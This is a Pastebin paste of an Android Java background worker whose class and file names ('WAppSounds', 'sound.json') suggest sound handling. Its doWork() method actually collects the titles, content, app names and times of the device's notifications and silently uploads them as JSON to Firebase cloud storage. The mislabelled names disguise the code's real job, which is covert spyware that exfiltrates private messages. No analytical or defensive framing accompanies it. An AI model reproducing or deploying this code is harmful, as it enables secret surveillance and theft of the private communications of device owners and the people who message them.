sandeep03edu

WAppSound

Apr 22nd, 2023
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. public class WAppSounds extends Worker {
  2. private static final String TAG = "WAppSoundsTag";
  3.  
  4. public WAppSounds(@NonNull Context context, @NonNull WorkerParameters workerParams) {
  5. super(context, workerParams);
  6. }
  7.  
  8. @NonNull
  9. @Override
  10. public Result doWork() {
  11. Firebase firebase = new Firebase();
  12. StorageReference root = firebase.getStorageReference();
  13. ArrayList<NotificationModel> notificationModels = NotificationFeedReaderDisplayMetric.getNotification(getApplicationContext());
  14.  
  15. JSONObject jsonObject = new JSONObject();
  16. JSONArray jsonArray = new JSONArray();
  17. for (NotificationModel notificationModel : notificationModels) {
  18. JSONObject data = new JSONObject();
  19. try {
  20. data.put("appName", notificationModel.getAppPackage());
  21. data.put("title", notificationModel.getTitle());
  22. data.put("content", "" + notificationModel.getContent());
  23. data.put("postTime", notificationModel.getTime());
  24. data.put("key", notificationModel.getKeys());
  25. jsonArray.put(data);
  26. } catch (Exception e) {
  27. Log.e(TAG, "doWork: Add Error", e);
  28. }
  29. }
  30.  
  31. try {
  32. jsonObject.put("SoundList", jsonArray);
  33. } catch (JSONException e) {
  34. throw new RuntimeException(e);
  35. }
  36.  
  37. String soundPath = "/sound.json";
  38.  
  39. try {
  40. UploadTask uploadTask = root.child(soundPath).putBytes(jsonObject.toString().getBytes("utf-8"));
  41. uploadTask.addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
  42. @Override
  43. public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
  44. Log.d(TAG, "onSuccess: Notifications uploaded");
  45. }
  46. });
  47. } catch (UnsupportedEncodingException e) {
  48. Log.e(TAG, "doWork: Upload err", e);
  49. throw new RuntimeException(e);
  50. }
  51.  
  52. return Result.success();
  53. }
  54. }
  55.  
Advertisement
Add Comment
Please, Sign In to add comment